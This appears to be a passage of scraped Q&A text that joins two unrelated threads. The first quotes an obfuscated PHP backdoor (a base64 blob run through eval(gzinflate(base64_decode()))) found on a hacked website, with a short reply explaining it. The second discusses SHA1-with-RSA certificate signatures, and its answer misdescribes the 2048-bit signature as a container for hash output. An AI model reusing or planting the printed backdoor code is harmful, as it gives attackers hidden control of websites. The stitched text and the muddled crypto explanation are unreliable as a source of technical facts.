  "7VdrT+NGFP1eqf9hiCIcKwHFj7ClIQh2Bd1V6bIthVZC1Jo4k2QSvzR2674raF/94zDk78GLOou5W6Uo2M7Zlzz33MnTs3JzzgTsySlsa674CIXjhROtQ95fX1zo/W+/IbhONgjMOSkqBqRbnffpvcPumbtIeBg4CfdZAQdMOuh43OdJK52Qf3KySaNIh674vqxWRAzvFg/WxqHApG3SlpNZ03l5c/vjsjNCZNNwznnDlhwAbH2UeyCvW1zF/rR4U5h9zwpyCfBnTChMODJU+otD+HhpIiOk8pmB8u4RNL674iZazpDG7MB2RswNR6y1ReodlZIsNvLavv674xyUtuJ3JuyWuIwMxzDI/r18dN5BaBm7rCfcnFHJ8ltFUNkWDJQgSkZHvj+vSnn2+M8OJs8vri+jR+e2YYV7+vTj9cee9vbk57b65XZxfXhvHDL97k9W/n7942Mm+qBsAZFoycOB6748mMSpc/hGSNYjtSY9AckfGbKsQYZqpxKrHF674uez5cXv36lDsByIaLROaOYDGjwp3Wh7mYQRm+XwSVROryKVNcyKd/L6eqltXmlsJxeZVzLI2+mr42/Xw6Z068GPo8jvHdakYsjDzWkQHxPDoMBU2YYuciXGMu/LVvDHFpNApxw9rCGT7o9kmTHyFBPLYh1/v1C7qWm6Vys41c3hayu6uiBLzdhtm83f505JrsPmGBdNiJqKA+7A/FKCO7bfI7HXmdDuVU3zZnd3olO9ThKI/s6743cqWmW95Xx4LKxYdcsVSZUbDuuIer9No1uNzjW48/BAdlqlvV6sPR2ijcZLymcRG9MZW0XjGT2cz674aTWcgmfDaK4nA0GzNN18lgQCoanq/up0LQj61cFZIPhrOkIhaveJIWhbwC8JeW0cXGIw3e+F6xGlQqqyitQm61aKndAXgSTaMl674+kOeA4er+Gasd/dMzQFkLnTUJ6mglOP/ykLghRUUao279onpvKJIRCFkIy0u5fQ5jKK3eNk3+ZvtRYUS1tzRBOKDTVnH2vPgJNFsPU1dgVjQaGY5CgKB1BFtUIW7w46745UG674N5miihTDFNajUsQ2sl8o4fuKzahSmje29sAtnxk8iBaJwrfhYjxmIiutm+Fk6G1Su7j+e0bnc+//AOGBWfq2OqSHsZ582iXCXg+DB7hf4f4O9y674674urg/oQQQ/DdLbNBggwPiHQJC8IHOkFiADdhgAG674AYgBjAGQAZQBmHJaYTAiZUgO674TAiZ674DJ79faYIDNBZoLMhFKrWzYNIAtkFsgskFkgsyBkQciCkAUhG0pt4GzgbOkLcDZwNnD2qxKhDS674bQj0I9b7aZPmf8Ksj1FV9Iipa2imSI5I1duuy2Cd6pecfpmhF74zSeJs2bals2sbdkZ2BVKrsAiVRjdQu6d6fn+vk6AgbvL5Lk5fsYpT0a674UVJ7T8ocGDBauSltwMFn6do5y0iVGJVdoZV7xpGy+IAv49kJYiFmvpfDRMZYM674YyveVlza2G6+1Hbzs2w3S7YffAHTrZeabr3Y9DrhJ8v/sc2rKfcY6GUiHZOu2gw33QPDJ2VdXDo5PsbpplL71JLsD9IfM67StC674iPSDlPZNZvbf3/GaSMR4QW93BZj+D1mZkDdbf";
  $a = str_replace($dgreusdi, "E", $a); eval
  (gzinflate(base64_decode($a)));

SNIPPET 3:
https://pastebin.com/TSv8uHFE

SNIPPET 4:
https://pastebin.com/fbUWR6LR

Many thanks in advance!

This code is obfuscated along with base64 encoding and gzinflating. You need to replace certain strings to get the proper encoded version of the script.

The script is using a key called pass and the attacker and later using the key and compromise your website. Its better to just rollback to your website if you have backup and then add a line to the header of the website to filter all special characters in GET & POST requests. The should stop attacker from injecting malicious codes.


inquiry about SHA1 with RSA for certificate signature As you all know, plenty of X.509 Certificates use (PKCS#1 SHA1 with RSA encryption) as the Certificate Signature Algorithm for generating the signature of 2048 Bits long. We know that SHA1 hash function generates a hash value of 160 bits, so this makes the 2048 Bits Certificate Signature Value a combination of (160 bits + 1888 bits = 2048 Bits).
My question is: From where do 1888 bits come from? Are they another a hash value or are they just padding?

Can someone briefly answer this question. If you also can provide me a source or a website to read more about it since I've been trying to find an answer of this one but I haven't gotten a good resource to explain this issue.

Thank you SO MUCH in advance :)

The 2048 Bits long field is a container for the results of the hash function. It is long enough to accept the results from a variety of hashing functions.

If the hash function used provides a result that is shorter than 2048, the hash value is padded as other answers have said.

Also note that you should no longer be using SHA-1. If you have US Government clients, then they are NOT allowed to use it. And no one else should be using it either.

In 2011, the US National Institute of Standards issued a regulation (see page 6) that states:

  After December 31, 2013, key lengths providing less than 112 bits of security strength shall not be used to generate digital signatures.

(Emphasis is in the original.) This regulation applies to the US Government, but it is also common for non-government organizations/companies to follow it as an example of best practice.